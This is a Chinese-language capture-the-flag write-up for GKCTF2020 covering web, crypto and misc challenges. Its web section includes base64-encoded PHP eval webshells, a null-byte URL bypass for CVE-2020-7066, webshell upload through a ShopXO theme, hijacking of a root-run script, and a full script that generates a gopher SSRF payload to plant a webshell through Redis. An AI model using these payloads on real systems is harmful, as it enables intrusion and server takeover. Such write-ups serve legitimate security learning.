WEB

[GKCTF2020]CheckIN

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

无论是GET还是POST传入的“Ginkgo”,都会base64解码一次然后执行它的值。

首先查看phpinfo():

/?Ginkgo=cGhwaW5mbygpOw==

发现禁用了如下函数:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,

涉及到执行系统命令的函数都被安排的明明白白Q Q,但是比较幸运的是“eval”等执行php代码的函数没有被过滤,可以构造一句话木马,用蚁剑等第三方工具连接:

?Ginkgo=ZXZhbChAJF9QT1NUWydyb290J10pOw

eval(@$_POST[‘root’]);

在根目录发现了“flag”文件和“readflag”文件,“flag”文件无法下载,而“readflag”是一个elf文件,正常执行它即可得到flag,但是服务端 disable_functions 禁用了命令执行函数,没有权限。

这里考虑到,Linux中有一个存放临时文件的目录”tmp”,每个用户对tmp目录都有写权限,在这里上传一个绕过disable_functions的脚本(感谢False狮虎),别忘记修改里面的命令,直接改为“/readflag”,上传后包含它即可:

[GKCTF2020]cve版签到

已经提示是CVE-2020-7066,参考:

https://bugs.php.net/bug.php?id=79329

<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
    die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);
?>

get_headers()在其使用的URL中的空字节之后,将无提示地截断任何内容。

预期结果:

Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL

实际结果:headers from http://localhost

这道题尝试传入url=http://127.0.0.1%00www.ctfhub.com

根据提示(Tips)里的内容,把ip改为127.0.0.123

[GKCTF2020]老八小超市儿

一个CMS站,拉到最底下可以找到Powered by ShopXO v1.8.0

善用搜索不难找到它的后台地址和默认登录口令:

参考:http://www.nctry.com/1660.html 进行后台getshell复现。

在后台找到应用中心-应用商店-主题,然后下载默认主题。在如图所示文件夹放一个一句话木马,打包整个default文件夹:

回到网页上,找到网站管理-主题管理-主题安装,安装即可。蚁剑连接:url/public/static/index/default/shaw.php

在根目录找到了假flag+提示:

flag{this_is_fake_flag/true_flag_in_/root}

Mon May 25 03:07:03 2020
Get The RooT,The Date Is Useful!

root目录没有权限,不能直接访问。

根目录还有一个红色的auto.sh文件,在终端使用”ps -ef”可以查看全部进程,其中“ps”是在Linux中是查看进程的命令,“-e”参数代表显示所有进程,“-f”参数代表全格式。可以看到auto.sh是以root权限执行的:

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

顺藤摸瓜,找到可疑的makeflaghint.py文件,修改内容为如下:

1分钟后,在根目录下的1.txt得知/root目录下有一个flag,改命令查看它即可:

os.system("cat /root/flag > /2.txt")

CRYPTO

[GKCTF2020]小学生的密码学

e(x)=11x+6(mod26) 密文:welcylk

在线解即可。

[GKCTF2020]babycrypto

性感EDS狮虎在线教授觅马学。这道题考了Coppersmith partial information attack算法,p前面的部分是高位,后面的0就是低位,0只是占位的作用并不是真正p的值,低位丢失高位泄露。

可以用这个脚本:

p = 0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000
n = 0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005

kbits = 32 * 4
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print("x: %s" %hex(int(x0)))
p = p+x0
print("p: ", hex(int(p)))
assert n % p == 0
q = n/int(p)
print("q: ", hex(int(q)))

其中kbit是未知的p的低位位数,这道题有32个0,每个0是4位,因此是32*4,

x0为求出来的p低位。

已知pqce,随便梭一哈:

import gmpy2
import libnum

c=1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361
q=0xc61299f2225c544bd9b829e1d1634657f6b3656abc3fb407d6590aadf715413314a40e3388e5c5bfb28fbfefbd24a41234b568509f61b415bfdad10203e623edb98fd8a1b44b931ce7b6f85e8e0ea89bdd004298ade3ff59b46fa2da4e6732455492374a37408189a463d3e3d7657d26305326d03368171f8a6e0b12eaa01c37 
p=0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b92826225b6d0e735440b613a8336ffa3 
e=65537
n = p*q
d=gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print m
print libnum.n2s(m)

运行得到flag。

[GKCTF2020]汉字的秘密

当铺密码,有几个笔划出头就是数字几。

69 74 62 67 118 83 72 77 86 55 71 #EJ>CvSHMV7G
57 82 57 64 63 51 107 #9R9@?3k

合起来是EJ>CvSHMV7G9R9@?3k

下面这一步比赛的时候没想到,是变异凯撒,我好像傻了。。:

a = "EJ>CvSHMV7G9R9@?3k"
number = 1
for i in range(len(a)):
    print(chr(ord(a[i])+number).lower(),end="")
    number+=1

MISC

[GKCTF2020]Pokémon

题目下载

首先下载一个gba模拟器加载游戏。图走道方便可以添加穿墙金手指:

点击CodeBreaker,输入:

80937B15 015E46E3
78DA95DF 44018CB4

向上走可以找到flag:

[GKCTF2020]code obfuscation

修补二维码:

得到base(gkctf)

把题目文件用十六进制编辑器打开,会发现除了png外,下方还有疑似rar压缩文件的数据,给它单独提取出来,是需要密码的,尝试用各种base加密gkctf,最后用base58(CfjxaPF)打开了压缩包:

1文件内容如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('15 n 14 a b c d e f g h i j k l m n o p q r s t u v w x y z 10 11 17="n"12 15 n 14 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 10 11 17="n"12 13=0 15 n 14 a b c d e f g h i j 10 11 16="n"13=$((13+1))12 1g("1f=\' \';1e=\'"\';16=\'#\';1j=\'(\';1i=\')\';1h=\'.\';1a=\';\';19=\'<\';18=\'>\';1d=\'1c\';1b=\'{\';1k=\'}\';1t=\'0\';1u=\'1\';1s=\'2\';1r=\'3\';1n=\'4\';1m=\'5\';1l=\'6\';1q=\'7\';1p=\'8\';1o=\'9\';")',62,93,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||do|eval|done|num|in|for|Bn|An|Ce|Cc|Cb|Cn|_|Cl|Bm|Bk|alert|By|Bt|Bs|Cp|Dg|Df|De|Dj|Di|Dh|Dd|Dc|Da|Db'.split('|'),0,{}))

一坨js,执行不了,把eval改为console.log,运行后自己排版后得到代码如下:

for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
	done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
	done
	num = 0
for n in a b c d e f g h i j do eval Bn = "n"
	num =
	$((num + 1)) done alert(
		"Bk=' ';
		Bm='"';
		Bn='#';
		Bs=' (';
		Bt=')';
		By='.';
		Cb=';';
		Cc=' < ';
		Ce=' > ';
		Cl='_ ';
		Cn=' {';
		Cp='}';
		Da='0';
		Db='1';
		Dc='2';
		Dd='3';
		De='4';
		Df='5';
		Dg='6';
		Dh='7';
		Di='8';
		Dj='9';
		")

flag3.png:

找一个文字识别工具,对照代码表替换一下:

#include <stdio.h>
int main(){
print('w3lc0me_4o_9kct5');
return 0;
}

[GKCTF2020]Harley Quinn

题目下载

是我非常喜欢的哈莉奎因qwq,题目已经提示“先听后看就完事了”,首先先看音频:

把wav用audaticy打开,很明显看到结尾多了一段:

截取出来,用dtmf2num识别按键音:

2228333444777773338866

九宫格密码,按下相同数字(感谢盖乐希狮虎和L1near狮虎)得到:ctfisfun

提示FreeFileCamouflage,拿这个解密,上一步得到的是密钥:

[GKCTF2020]EZ三剑客-EzWeb

查看源代码发现?secret,访问后得到一个ip,把ip输入到题目的表单里抓包,进行C段扫描,可以发现一些内网的服务和存活主机,其中有一台机器给了提示:

扫描这台主机开放的端口,在6379端口有一个报错:

-ERR wrong number of arguments for ‘get’ command

查询资料得知是Redis,它是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库

尝试通过ssrf和redis的未授权访问打入内网getshell,Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。exp如下:

import urllib

protocol="gopher://"
ip="173.15.198.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":

    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

运行后得到一串gopher://:

gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,gopher失去了昔日的辉煌。现在,gopher协议是ssrf利用中最强大的协议

脚本生成的东西再编码一次后放入表单里,生成了shell.php。绕过空格过滤查看flag:

⚪参考:

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzWeb